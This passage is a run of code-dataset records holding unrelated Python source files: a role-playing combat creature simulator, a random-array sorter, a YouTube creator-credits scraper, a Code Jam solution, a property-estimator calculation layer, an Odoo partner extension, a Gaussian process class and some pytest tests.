- self.currhits[0]\n return healable_damage\n\nclass Locational(Creature):\n 'Class which defines creatures with locational hits'\n name_hit_list = hit_location_names\n base_chance_hit_list = base_hit_location_weightings\n \n def get_chance_hit_list(self):\n _chance_hit_list = list.copy(self.base_chance_hit_list)\n # Check for weapons and statuses that impact hit list\n for x in self.weapons:\n if (self.currhits[1] > 0 and self.currhits[3] > 0):\n _chance_hit_list = [a * b for a, b in zip(_chance_hit_list,x.weapon_hit_multi)]\n # Status implementation\n for y in self.status:\n _chance_hit_list = [a * b for a, b in zip(_chance_hit_list,y.status_hit_multi)]\n # Specific case for using off hand\n if y.name == 'Using Off Hand':\n # Swap on and off arms and legs\n _chance_hit_list[1],_chance_hit_list[3] = _chance_hit_list[3],_chance_hit_list[1]\n _chance_hit_list[4],_chance_hit_list[5] = _chance_hit_list[5],_chance_hit_list[4] \n return _chance_hit_list\n\n def get_hit_num_list(self):\n # Use a temporary copy of the chance_hit_list to avoid repetition of it's getter\n _chance_hit_list = list.copy(self.chance_hit_list)\n # Scale the chance hit list to be a percentage to deal with aribtrarily sized input weightings\n _chance_hit_percentage = [x/sum(_chance_hit_list) for x in _chance_hit_list]\n return [0,sum(_chance_hit_percentage[:1]),sum(_chance_hit_percentage[:2]),sum(_chance_hit_percentage[:3]),sum(_chance_hit_percentage[:4]),sum(_chance_hit_percentage[:5]),sum(_chance_hit_percentage)]\n\n def get_rating(self):\n _rating = self.base_rating\n # Check for statuses and weapons that impact rating\n for x in self.status:\n _rating = _rating*x.status_rating_multi\n # For a loctional hits creature both hands must be uninjured for the shield or off hand weapon to function\n for y in self.weapons:\n if self.currhits[1] > 0 and self.currhits[3] > 0:\n _rating = _rating*y.weapon_rating_multi\n return _rating\n\n # We *MUST* restate properties whose functions have changed, else the parent ones will be used\n chance_hit_list = property(get_chance_hit_list)\n hit_num_list = property(get_hit_num_list)\n rating = property(get_rating)\n \n def damage_creature(self,hit_location_num,damage):\n 'Apply damage to a location on a creature based on the appropriate logic for its type'\n # Store the pre-damage hits for status checks later on\n _oldhits = list.copy(self.currhits)\n # For locational creatures we need to check if the location is a limb and if it is already destroyed\n if hit_location_num not in [0,2] and self.currhits[hit_location_num] <= -3:\n # If so redirect damage to body and prevent hits going below -3\n self.currhits[2] = max((self.currhits[2] - damage),-3)\n # Otherwise apply damage as normal\n else:\n self.currhits[hit_location_num] = max((self.currhits[hit_location_num] - damage),-3)\n # Applying wounding based statuses\n # \"Prone\" status - Apply when either leg is hit and drops to zero\n if hit_location_num in [4,5] and _oldhits[hit_location_num] > 0 and self.currhits[hit_location_num] <= 0:\n self.apply_status(status_prone,-1)\n # When Favoured Hand is hit and drops below zero apply \"Using Off Hand\" permanently and \"Disarmed\" for one round\n if hit_location_num == 1 and _oldhits[hit_location_num] >=0 and self.currhits[hit_location_num] <= 0:\n self.apply_status(status_off_hand,-1)\n self.apply_status(status_disarmed,1) \n\n def damage_creature_direct(self,damage):\n 'Apply direct damage to a creature based on the appropriate logic for its type'\n # On a locational creature direct damage goes straight to the body\n self.damage_creature(2,damage)\n\n def check_incapacitated(self):\n 'Return 1 if the creature is incapacitated and incapable of fighting and 0 otherwise'\n # Locational creatures are incapacitated if any critical location, or all arm locations, drop to zero\n if self.currhits[0] <= 0 or self.currhits[2] <= 0:\n return 1\n elif self.currhits[1] <= 0 and self.currhits[3] <= 0:\n return 1\n else:\n return 0\n\n # Identify the ammount of damage a character has taken which can be healed\n def get_healable_damage(self):\n 'Return the total ammount of damage which can still be healed (i.e to non-destroyed locations) the creature has taken'\n healable_damage = 0\n for x in range(len(self.maxhits)):\n if self.currhits[x] > -3 and self.currhits[x] < self.maxhits[x]:\n healable_damage += self.maxhits[x] - self.currhits[x]\n return healable_damage\n \n def heal_creature(self,healing):\n 'Apply healing to creature in a (somewhat) logical fashion; prioritising the most wounded non-destroyed location and then a preset location order'\n # Loop through assigning healing points one at a time \n for x in range(healing):\n # Create a list of the still active locations and use that to find the \"real minimum\" once destroyed locations excluded\n real_minhits = min(x for x in self.currhits if x > -3)\n # Find the hit location numbers of any locations with the minimum number of current hits\n minhit_location_list = [index for index,val in enumerate(self.currhits) if val == real_minhits]\n # Loop through the healing priority list looking for locations that are also in the list of locations on minimum hits\n for y in heal_loc_priority:\n if y in minhit_location_list:\n # If the location is not on max already heal the location for one hit and reduce the number of remaining healing points by one, then break to the outer loop\n if self.currhits[y] < self.maxhits[y]:\n self.currhits[y] += 1\n healing -= 1\n break\n # If we get to the end of the healing priority list without having healed anything heal any non-destroyed location on less than maximum in priority order\n else: \n for z in heal_loc_priority:\n if self.currhits[y] > -3 and self.currhits [y] < self.maxhits[y]:\n self.currhits[y] += 1\n healing -= 1\n break\n else:\n # If after all that we still haven't used the healing the target is fully healed and we can return\n return\n \n\nclass TreasureTrapPC(Locational):\n 'Class for player characters built using the DUTT Ruleset'\n # Adds TT offense and defence into the creature\n def __init__(self,name,base_rating,maxhits,base_damage,weapons=[],abilities=[],loc_armour=[0,0,0,0,0,0],\n glob_dac=0,glob_spirit_arm=0,glob_magic_arm=0,mana_points=0,spirit_points=0,alchemy_points=0,herb_points=0):\n self.name,self.base_rating,self.maxhits,self.base_damage = name,base_rating,maxhits,base_damage\n self.status,self.status_durations,self.currhits,self.weapons,self.abilities = [],[],list.copy(self.maxhits),list.copy(weapons),list.copy(abilities)\n self.loc_armour_max,self.glob_dac_max,self.glob_spirit_arm_max,self.glob_magic_arm_max = list.copy(loc_armour),glob_dac,glob_spirit_arm,glob_magic_arm\n self.loc_armour,self.glob_dac,self.glob_spirit_arm,self.glob_magic_arm = list.copy(loc_armour),glob_dac,glob_spirit_arm,glob_magic_arm\n self.mana_points_max,self.spirit_points_max,self.alchemy_points_max,self.herb_points_max = mana_points,spirit_points,alchemy_points,herb_points\n self.mana_points,self.spirit_points,self.alchemy_points,self.herb_points = mana_points,spirit_points,alchemy_points,herb_points\n\n # TT Characters need an extended initialisation method to reset armour and resources\n def initialize_creature(self):\n 'Reset a creatures perameters to the base state'\n self.status,self.status_durations,self.currhits = [],[],list.copy(self.maxhits)\n self.loc_armour,self.glob_dac,self.glob_spirit_arm,self.glob_magic_arm = list.copy(self.loc_armour_max),self.glob_dac_max,self.glob_spirit_arm_max,self.glob_magic_arm_max\n self.mana_points,self.spirit_points,self.alchemy_points,self.herb_points = self.mana_points_max,self.spirit_points_max,self.alchemy_points_max,self.herb_points_max\n\n # TT Characters can use special abilities if they have enough resources, need a check to see which they will use them in a combat round\n def check_use_ability(self):\n 'Return 1 and the ability they will use if creature will use a special ability this round, else return 0 and None'\n # Now that we have abilities as objects which are then listed in the creatures abilities we can just loop over them to check which to use\n # This means we are assuming the list of abilities is priority ranked, which makes sense and lets us adjust \"strategies\"\n for ability in self.abilities:\n curr, max = (ability.resource_activate + '_points', ability.resource_activate + '_points_max')\n # If not enough resource, do not use ability - This won't support zero cost abilities as implmented, because of a divide by zero issue\n if getattr(self, curr) < ability.resource_cost:\n continue\n # Trigger resource usage when proportion of total hits, or hits on an individual critical location drop below proportion of remaining resource, or when an individual critical location drops to one\n # Note : In exceptional cases the total of currhits can go negative, at which point no abilities will be spammed continually - not nessecarily wrong though!\n elif getattr(self, curr)/getattr(self, max) > (sum(self.currhits)/sum(self.maxhits)) \\\n or getattr(self, curr)/getattr(self, max) >= self.currhits[0]/self.maxhits[0] \\\n or getattr(self, curr)/getattr(self, max) >= self.currhits[2]/self.maxhits[2] \\\n or self.currhits[0] == 1 or self.currhits[2] == 1:\n # If the ability is healing to be used on self then skip over if any healing will be \"wasted\" because it exceeds damage which can be healed\n # WARNING : This will be further complicated once multi party fights mean friendlies can be healed or when we introduce \"heal sufficient\"\n if ability.type == 'abilityhealcreature' and 'self' in ability.target and self.get_healable_damage() < ability.healing:\n continue\n # If the ability is an attribute setter then skip over if it would be wasted or redundant\n # WARNING : Simple logic for now, don't recast if there's any of the attribute left\n elif ability.type == 'abilityaffectcreature' and 'self' in ability.target and getattr(self,ability.attribute_target) > 0:\n continue\n else:\n return ability\n \n return None\n\n def get_resource_spent(self,resource_name):\n 'Return the number of the resource_name spent'\n curr, max = resource_name + '_points', resource_name + '_points_max'\n resource_spent = getattr(self,max) - getattr(self,curr)\n return resource_spent\n\n # TT Characters need their own damage_creature method which accounts for sources of armour\n def damage_creature(self,hit_location_num,damage):\n 'Apply damage to a location on a creature based on the appropriate logic for its type'\n # Note : Not official TT rules, but let's establish an order of operations that goes DAC, Spirit, Magic, Physical\n # Note : Damage types are not yet implemented\n # Loop over the armour attributes as long as there is still damage to assign\n for elm in ['glob_dac','glob_spirit_arm','glob_magic_arm']:\n x = getattr(self, elm)\n # If no armour of this type go to next one in the list\n if x == 0:\n continue\n # Establish if the damage is completely negated by this armour and if so reduce armour and return\n elif damage <= x:\n setattr(self,elm,x-damage)\n return\n # Otherwise calculate the remaining damage and reduce armour to zero\n else:\n damage -= x\n setattr(self,elm,0)\n # We do the physical locational armour seperately because the attribute takes the form of a list\n if self.loc_armour[hit_location_num] > 0:\n if damage <= self.loc_armour[hit_location_num]:\n self.loc_armour[hit_location_num] -= damage\n return\n else:\n damage -= self.loc_armour[hit_location_num]\n self.loc_armour[hit_location_num] = 0\n \n # Run the rest of the damage logic for a locational with any remaining damage\n super().damage_creature(hit_location_num,damage)\n \n # TT Characters need a method which allows non-hit point attributes to be changed, such as adding locational armour\n def change_attribute_creature(self,attribute_target,type,modnum):\n 'Modify a non-hit point attribute' \n if type == 'set':\n setattr(self,attribute_target,modnum)\n if type == 'mod':\n setattr(self,attribute_target,getattr(self,attribute_target)+modnum)\n","sub_path":"archive/creature.py","file_name":"creature.py","file_ext":"py","file_size_in_byte":19362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"411383703","text":"\"\"\" This is the main function.\n prerequisite:\n based on Python 3.6\n \n Function\n ---------\n find the minimum in a random array which has 'n' members and sort \n \n Parameters\n ---------\n number: int\n the length of random array\n\"\"\"\n\n######################################\n\nimport argparse\nimport numpy as np\nfrom datetime import datetime\n\n######################################\n\ndef readCommands():\n # function description for use within python\n \"\"\"\n Read commandline arguments\n \"\"\"\n # create an argparse object with a useful help comment\n p = argparse.ArgumentParser(description=(\"An illustration of a command line parser\"))\n # read an integer\n p.add_argument(\"--numb\", dest=\"numb\", type=int, default=40, help=(\"Length of array to generate\\nDefault=40\"))\n # parse the command line into an object\n cmdargs = p.parse_args()\n # return that object from this function\n return cmdargs\n \n \nclass dataSorter(object):\n # an attribute\n numb_accounts=0\n \n # creation method\n def __init__(self,number=10): # the default length of array is 10\n print(\"Creating a class\") \n self.number=number # set the length of array \n dataSorter.numb_accounts+=1 # add an instance to 'dataSorter' class\n \n # methods\n def findMini(self):\n \"\"\"\n generate an array of random numbers; use outer loop to loop over the array \n and inner loop to compare every 2 numbers once\n \"\"\"\n n = self.number \n t0 = datetime.now() # return system time\n arr=np.random.random(n) # generate an array of random numbers\n \n print(\"The original array is\") # print the random array before sorting \n print(arr) \n\n for i in range(n): # loop over the random array from the first number\n for j in range(i): # compare the origin number with every number before it\n if (arr[i]')+1:]\n\t\t\t\t\t#print(channelLink)\n\t\t\t\t\tchannelUser = channelUser[channelUser.find('a href=\"')+8:channelUser.find('')]\n\t\t\t\t\tchannelUser = channelUser[channelUser.find('\" >')+3:]\n\t\t\t\t\t#print(channelUser)\n\t\t\t\t\t#print(credits[title])\n\t\t\t\t\tcredits[title].append({\"name\": channelUser, \"link\": channelLink})\n\t\t\t\t\t#print(credits)\n\t\t\t\t\tsplice = splice[splice.find('/li')+1:]\n\t\t\t\tc = sC.find('h4 class=\"title\"', c + 1 ) \n\t\t\t#print (credits)\n\t\t\ttry:\n\t\t\t\twith open( location+\"{}.json\".format(vID), 'w') as f:\n\t\t\t\t\tjson.dump(credits, f)\n\n\t\t\t\t#with open( (location+\"{}.html\").format(vID),\"wb\") as f:\n\t\t\t\t#\tf.write(contents)\n\t\t\texcept:\n\t\t\t\twith open( location+\"/{}.json\".format(vID), 'w') as f:\n\t\t\t\t\tjson.dump(credits, f)\n\n\t\t\t\t#with open( (location+\"/{}.html\").format(vID),\"wb\") as f:\n\t\t\t\t#\tf.write(contents)\n\t\telse:\n\t\t\treturn None\n\t\treturn credits\n\texcept:\n\t\treturn None\n\treturn None\n\n\ndef main():\n\tfirst = True\n\targument = \"\"\n\tprint( \"Hello today is: \" + str(datetime.now().month) + \"/\" + str(datetime.now().day))\n\tprint( \"Remember that we have time until: \" + \"1/31\" + \" (presumably PST 0:00) \" )\n\t#retrieveCredits(\"https://www.youtube.com/watch?v=BZLGKFWlRzY&list=PLhyKYa0YJ_5BevK2pZGDi-zUMorOSn2ed\")\n\t#return \n\twhile first or argument == \"\":\n\t\t#argument =\"horse\"\n\t\targument = input(\"Type in a URL to video or its ID: \")\n\t\ttry:\n\t\t\tif argument == \"\":\n\t\t\t\tprint(\"Program Terminated\")\n\t\t\t\tbreak\n\t\t\tresult = retrieveCredits(argument)\n\t\t\tif result != None:\n\t\t\t\tprint(\"Loaded Succesfully.\")\n\t\t\telse:\n\t\t\t\tprint(\"Unable to Load, File not Generated.\")\n\t\texcept:\n\t\t\tprint(\"Unable to recognize {}\".format(argument))\n\t\t\tprint(\"Program Terminated\")\n\t\t\tbreak\n\t\t#argument = \"\"\n\t\t#first = False\n\n\n\nif __name__== \"__main__\":\n\tmain()","sub_path":"saveTheCredits/saveYouTubeCreatorCredits.py","file_name":"saveYouTubeCreatorCredits.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"343758278","text":"#!/usr/bin/env python\n\nimport sys\n\ndef solve(s):\n m = s[0]\n res = \"\"\n res += m\n for c in s[1:]:\n if c >= m:\n m = c\n res = c + res\n else:\n res = res + c\n return res\n\n\nif __name__=='__main__':\n lines = sys.stdin.readlines()\n n = int(lines[0])\n # print('Case #%d: %s' % (2, str(solve(int(lines[2])))))\n for i in range(1, n+1):\n print('Case #%d: %s' % (i, solve(lines[i][:-1])))\n","sub_path":"codes/CodeJamCrawler/16_1_1_neat/16_1_1_ob1_a.py","file_name":"16_1_1_ob1_a.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"522866362","text":"\"\"\"\nDefines the base API for defining new property estimator estimation layers.\n\"\"\"\nimport json\nimport logging\nimport traceback\nfrom os import path\n\nfrom propertyestimator.utils.exceptions import PropertyEstimatorException\nfrom propertyestimator.utils.serialization import TypedJSONDecoder, TypedJSONEncoder\n\navailable_layers = {}\n\n\ndef register_calculation_layer():\n \"\"\"A decorator which registers a class as being a calculation layer\n which may be used in property calculations.\n \"\"\"\n\n def decorator(cls):\n\n if cls.__name__ in available_layers:\n raise ValueError('The {} layer is already registered.'.format(cls.__name__))\n\n available_layers[cls.__name__] = cls\n return cls\n\n return decorator\n\n\ndef return_args(*args, **kwargs):\n return args\n\n\nclass CalculationLayerResult:\n \"\"\"The output returned from attempting to calculate a property on\n a PropertyCalculationLayer.\"\"\"\n\n def __init__(self):\n \"\"\"Constructs a new CalculationLayerResult object.\n \"\"\"\n self.property_id = None\n\n self.calculated_property = None\n self.exception = None\n\n self.data_directories_to_store = []\n\n def __getstate__(self):\n\n return {\n 'property_id': self.property_id,\n 'calculated_property': self.calculated_property,\n 'exception': self.exception,\n 'data_directories_to_store': self.data_directories_to_store\n }\n\n def __setstate__(self, state):\n\n self.property_id = state['property_id']\n\n self.calculated_property = state['calculated_property']\n self.exception = state['exception']\n\n self.data_directories_to_store = state['data_directories_to_store']\n\n\nclass PropertyCalculationLayer:\n \"\"\"An abstract representation of a calculation layer in the property calculation stack.\n\n Notes\n -----\n Calculation layers must inherit from this class, and must override the\n `schedule_calculation` method.\n \"\"\"\n\n @staticmethod\n def _await_results(calculation_backend, storage_backend, layer_directory, server_request,\n callback, submitted_futures, synchronous=False):\n \"\"\"A helper method to handle passing the results of this layer back to\n the main thread.\n\n Parameters\n ----------\n calculation_backend: PropertyEstimatorBackend\n The backend to the submit the calculations to.\n storage_backend: PropertyEstimatorStorage\n The backend used to store / retrieve data from previous calculations.\n layer_directory: str\n The local directory in which to store all local, temporary calculation data from this layer.\n server_request: PropertyEstimatorServer.ServerEstimationRequest\n The request object which spawned the awaited results.\n callback: function\n The function to call when the backend returns the results (or an error).\n submitted_futures: list(dask.distributed.Future)\n A list of the futures returned by the backed when submitting the calculation.\n synchronous: bool\n If true, this function will block until the calculation has completed.\n \"\"\"\n\n callback_future = calculation_backend.submit_task(return_args,\n *submitted_futures,\n key=f'return_{server_request.id}')\n\n def callback_wrapper(results_future):\n PropertyCalculationLayer._process_results(results_future, server_request, storage_backend, callback)\n\n if synchronous:\n callback_wrapper(callback_future)\n else:\n callback_future.add_done_callback(callback_wrapper)\n\n @staticmethod\n def _process_results(results_future, server_request, storage_backend, callback):\n \"\"\"Processes the results of a calculation layer, updates the server request,\n then passes it back to the callback ready for propagation to the next layer\n in the stack.\n\n Parameters\n ----------\n results_future: distributed.Future\n The future object which will hold the results.\n server_request: PropertyEstimatorServer.ServerEstimationRequest\n The request object which spawned the awaited results.\n storage_backend: PropertyEstimatorStorage\n The backend used to store / retrieve data from previous calculations.\n callback: function\n The function to call when the backend returns the results (or an error).\n \"\"\"\n\n # Wrap everything in a try catch to make sure the whole calculation backend /\n # server doesn't go down when an unexpected exception occurs.\n try:\n\n results = list(results_future.result())\n results_future.release()\n\n for returned_output in results:\n\n if returned_output is None:\n # Indicates the layer could not calculate this\n # particular property.\n continue\n\n if not isinstance(returned_output, CalculationLayerResult):\n\n # Make sure we are actually dealing with the object we expect.\n raise ValueError('The output of the calculation was not '\n 'a CalculationLayerResult as expected.')\n\n if returned_output.exception is not None:\n # If an exception was raised, make sure to add it to the list.\n server_request.exceptions.append(returned_output.exception)\n\n else:\n\n # Make sure to store any important calculation data if no exceptions\n # were thrown.\n if (returned_output.data_directories_to_store is not None and\n returned_output.calculated_property is not None):\n\n for data_directory in returned_output.data_directories_to_store:\n\n data_file = path.join(data_directory, 'data.json')\n\n # Make sure the data directory / file to store actually exists\n if not path.isdir(data_directory) or not path.isfile(data_file):\n logging.info(f'Invalid data directory ({data_directory}) / file ({data_file})')\n continue\n\n # Attach any extra metadata which is missing.\n with open(data_file, 'r') as file:\n\n data_object = json.load(file, cls=TypedJSONDecoder)\n\n if data_object.force_field_id is None:\n data_object.force_field_id = server_request.force_field_id\n\n with open(data_file, 'w') as file:\n json.dump(data_object, file, cls=TypedJSONEncoder)\n\n substance_id = data_object.substance.identifier\n storage_backend.store_simulation_data(substance_id, data_directory)\n\n matches = [x for x in server_request.queued_properties if x.id == returned_output.property_id]\n\n for match in matches:\n server_request.queued_properties.remove(match)\n\n if len(matches) > 1:\n raise ValueError(f'A property id ({returned_output.property_id}) conflict occurred.')\n\n elif len(matches) == 0:\n\n logging.info('A calculation layer returned results for a property not in the '\n 'queue. This sometimes and expectedly occurs when using queue based '\n 'calculation backends, but should be investigated.')\n\n continue\n\n if returned_output.calculated_property is None and returned_output.exception is None:\n\n logging.info('A calculation layer did not return an estimated property nor did it'\n 'raise an Exception. This sometimes and expectedly occurs when using '\n 'queue based calculation backends, but should be investigated.')\n\n continue\n\n if returned_output.calculated_property is None:\n # An exception has been recorded above, but for some reason no property has\n # been associated with it.\n continue\n\n substance_id = returned_output.calculated_property.substance.identifier\n\n if returned_output.exception is None:\n\n if substance_id not in server_request.estimated_properties:\n server_request.estimated_properties[substance_id] = []\n\n server_request.estimated_properties[substance_id].append(returned_output.calculated_property)\n\n else:\n\n if substance_id not in server_request.unsuccessful_properties:\n server_request.unsuccessful_properties[substance_id] = []\n\n server_request.unsuccessful_properties[substance_id].append(returned_output.calculated_property)\n\n except Exception as e:\n\n logging.info(f'Error processing layer results for request {server_request.id}')\n\n formatted_exception = traceback.format_exception(None, e, e.__traceback__)\n\n exception = PropertyEstimatorException(message='An unhandled internal exception '\n 'occurred: {}'.format(formatted_exception))\n\n server_request.exceptions.append(exception)\n\n callback(server_request)\n\n @staticmethod\n def schedule_calculation(calculation_backend, storage_backend, layer_directory,\n data_model, callback, synchronous=False):\n \"\"\"Submit the proposed calculation to the backend of choice.\n\n Parameters\n ----------\n calculation_backend: PropertyEstimatorBackend\n The backend to the submit the calculations to.\n storage_backend: PropertyEstimatorStorage\n The backend used to store / retrieve data from previous calculations.\n layer_directory: str\n The local directory in which to store all local, temporary calculation data from this layer.\n data_model: PropertyEstimatorServer.ServerEstimationRequest\n The data model encoding the proposed calculation.\n callback: function\n The function to call when the backend returns the results (or an error).\n synchronous: bool\n If true, this function will block until the calculation has completed.\n This is mainly intended for debugging purposes.\n \"\"\"\n raise NotImplementedError()\n","sub_path":"propertyestimator/layers/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":10891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"621237382","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Odoo, Open Source Management Solution\n#\n# Copyright (c) 2009-2016 Noviat nv/sa (www.noviat.com).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nimport logging\n\nfrom openerp import api, fields, models, _\nfrom openerp.exceptions import ValidationError\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass ResPartner(models.Model):\n _inherit = 'res.partner'\n\n company_partner_flag = fields.Boolean(\n string=\"Partner Record associated to a Company Record\")\n intercompany_invoice = fields.Boolean(\n string='Intercompany Invoice',\n help=\"Set this flag to convert outgoing invoices \"\n \"for this partner into incoming invoices in \"\n \"the Company associated with this partner.\")\n intercompany_invoice_user_id = fields.Many2one(\n comodel_name='res.users',\n string='Intercompany Invoice User',\n help=\"This user will be used \"\n \"to create/read/modify intercompany invoices in \"\n \"the Company associated with this partner.\")\n\n @api.one\n @api.constrains('intercompany_invoice_user_id')\n def _check_intercompany_invoice_user_id(self):\n ic_user = self.intercompany_invoice_user_id\n if ic_user:\n cpy = self.env['res.company'].search(\n [('partner_id', '=', self.id)])\n if cpy and cpy not in ic_user.company_ids:\n raise ValidationError(\n _(\"The Intercompany Invoice User doesn't have \"\n \"privileges in Company '%s' !\")\n % cpy.name)\n\n def _auto_init(self, cr, context=None):\n \"\"\" set company_partner_flag \"\"\"\n res = super(ResPartner, self)._auto_init(cr, context=context)\n cr.execute(\n \"UPDATE res_partner p \"\n \"SET company_partner_flag = True \"\n \"FROM res_company c \"\n \"WHERE c.partner_id = p.id\")\n return res\n","sub_path":"account_reinvoice_multi_company/models/res_partner.py","file_name":"res_partner.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"113196830","text":"# arr = [2, 3, -4, -9, -1, -7, 1, -5, -6]\narr = [0, 0, 0, 0]\n\ndef next_p(arr, l, x):\n print(\"px0\", x)\n while x <= l - 1 and arr[x] < 0:\n x += 1\n print(\"px1\", x)\n\n print(\"px2\", x)\n return x\n\n\ndef next_n(arr, l, x):\n print(\"nx0\", x)\n while x <= l - 1 and arr[x] >= 0:\n x += 1\n print(\"nx1\", x)\n\n print(\"nx2\", x)\n return x\n\nl = len(arr)\nn = next_n(arr, l, 0)\np = next_p(arr, l, 0)\nres = []\n\ni = 0\nprint(\"a0\", i, n, p, l, arr)\nwhile i < l and n < l and p < l:\n pos = i % 2 == 0\n print(\"pos\", i, pos, n, p)\n \n if pos:\n res.append(arr[p])\n p += 1\n p = next_p(arr, l, p)\n else:\n res.append(arr[n])\n n += 1\n n = next_n(arr, l, n)\n\n i += 1\n print(\"a1\", i, n, p, l, res)\n\nwhile i < l and n < l:\n if arr[n] < 0:\n res.append(arr[n])\n n += 1\n\nwhile i < l and p < l:\n if arr[p] >= 0:\n res.append(arr[p])\n p += 1\n\nprint(\"a2\", res)\n","sub_path":"2019Nov/adhoc2/alternating_items_debug1.py","file_name":"alternating_items_debug1.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"516748113","text":"#!/usr/bin/env python3\n\"\"\"This class is for task 0\"\"\"\nimport numpy as np\n\n\nclass GaussianProcess:\n \"\"\"\n Gaussian Process:\n @X_init is a numpy.ndarray of shape (t, 1) representing the inputs\n already sampled with the black-box function\n @Y_init is a numpy.ndarray of shape (t, 1) representing the outputs\n of the black-box function for each input in X_init\n @t is the number of initial samples\n @l is the length parameter for the kernel\n @sigma_f is the standard deviation given to the output of the\n black-box function\n \"\"\"\n def __init__(self, X_init, Y_init, l=1, sigma_f=1):\n self.X = X_init\n self.Y = Y_init\n self.l = l\n self.sigma_f = sigma_f\n kernel = np.sum(self.X**2, 1).reshape(-1, 1) + np.sum(\n self.X**2, 1) - 2 * np.dot(self.X, self.X.T)\n self.K = sigma_f**2 * np.exp(-0.5 / l**2 * kernel)\n\n def kernel(self, X1, X2):\n \"\"\"\n kernel:\n @X1: is a numpy.ndarray of shape (m, 1)\n @X2: is a numpy.ndarray of shape (n, 1)\n Radial Basis Function (RBF)\n \"\"\"\n kernel = np.sum(\n X1**2, 1).reshape(-1, 1) + np.sum(X2**2, 1) - 2 * np.dot(X1, X2.T)\n return self.sigma_f**2 * np.exp(-0.5 / self.l**2 * kernel)\n\n def predict(self, X_s):\n \"\"\"\n That predicts the mean and standard deviation of points in a Gaussian\n process:\n\n @X_s: w\n \"\"\"\n B = self.kernel(X_s, self.X)\n C = self.kernel(self.X, self.X)\n A = self.kernel(X_s, X_s)\n D = self.kernel(self.X, X_s)\n\n mu = B @ np.linalg.inv(C) @ self.Y\n sigma = A - (B @ np.linalg.inv(C) @ D)\n return (mu.squeeze(), np.diag(sigma))\n","sub_path":"unsupervised_learning/0x03-hyperparameter_tuning/1-gp.py","file_name":"1-gp.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"479044225","text":"# -*- coding: utf-8 -*-\n#\n# tests.modules.hardware.test_designmechanic.py is part of The RAMSTK\n# Project\n#\n# All rights reserved.\n# Copyright 2007 - 2017 Doyle Rowland doyle.rowland reliaqual com\n\"\"\"Test class for testing DesignMechanic module algorithms and models. \"\"\"\n\nfrom treelib import Tree\n\nimport pytest\n\nfrom ramstk.modules.hardware import dtmDesignMechanic\nfrom ramstk.dao import DAO\nfrom ramstk.dao import RAMSTKDesignMechanic\n\n__author__ = 'Doyle Rowland'\n__email__ = 'doyle.rowland@reliaqual.com'\n__organization__ = 'ReliaQual Associates, LLC'\n__copyright__ = 'Copyright 2014 Doyle \"weibullguy\" Rowland'\n\n\n@pytest.mark.integration\ndef test_data_model_create(test_dao):\n \"\"\" __init__() should return a DesignMechanic model. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n\n assert isinstance(DUT, dtmDesignMechanic)\n assert isinstance(DUT.tree, Tree)\n assert isinstance(DUT.dao, DAO)\n assert DUT._tag == 'DesignMechanic'\n\n\n@pytest.mark.integration\ndef test_do_select_all(test_dao):\n \"\"\" do_select_all() should return a Tree() object populated with RAMSTKDesignMechanic instances on success. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n\n _tree = DUT.do_select_all(hardware_id=2)\n\n assert isinstance(_tree, Tree)\n assert isinstance(_tree.get_node(2).data, RAMSTKDesignMechanic)\n\n\n@pytest.mark.integration\ndef test_do_select(test_dao):\n \"\"\" do_select() should return an instance of the RAMSTKDesignMechanic data model on success. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=2)\n\n _design_mechanic = DUT.do_select(2)\n\n assert isinstance(_design_mechanic, RAMSTKDesignMechanic)\n assert _design_mechanic.hardware_id == 2\n assert _design_mechanic.lubrication_id == 0\n\n\n@pytest.mark.integration\ndef test_do_select_non_existent_id(test_dao):\n \"\"\" do_select() should return None when a non-existent DesignMechanic ID is requested. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n\n _design_electric = DUT.do_select(100)\n\n assert _design_electric is None\n\n\n@pytest.mark.integration\ndef test_do_insert(test_dao):\n \"\"\" do_insert() should return False on success when inserting a DesignMechanic record. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=3)\n\n _error_code, _msg = DUT.do_insert(hardware_id=90)\n\n assert _error_code == 0\n assert _msg == ('RAMSTK SUCCESS: Adding one or more items to the RAMSTK Program '\n 'database.')\n\n\n@pytest.mark.integration\ndef test_do_delete(test_dao):\n \"\"\" do_delete() should return a zero error code on success. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=4)\n\n _error_code, _msg = DUT.do_delete(DUT.last_id)\n\n assert _error_code == 0\n assert _msg == ('RAMSTK SUCCESS: Deleting an item from the RAMSTK Program '\n 'database.')\n\n\n@pytest.mark.integration\ndef test_do_delete_non_existent_id(test_dao):\n \"\"\" do_delete() should return a non-zero error code when passed a DesignMechanic ID that doesn't exist. \"\"\"\n DUT = dtmDesignMechanic(test_dao)\n DUT.do_select_all(hardware_id=3)\n\n _error_code, _msg = DUT.do_delete(300)\n\n assert _error_code == 2005\n assert _msg == (' RAMSTK ERROR: Attempted to delete non-existent '\n 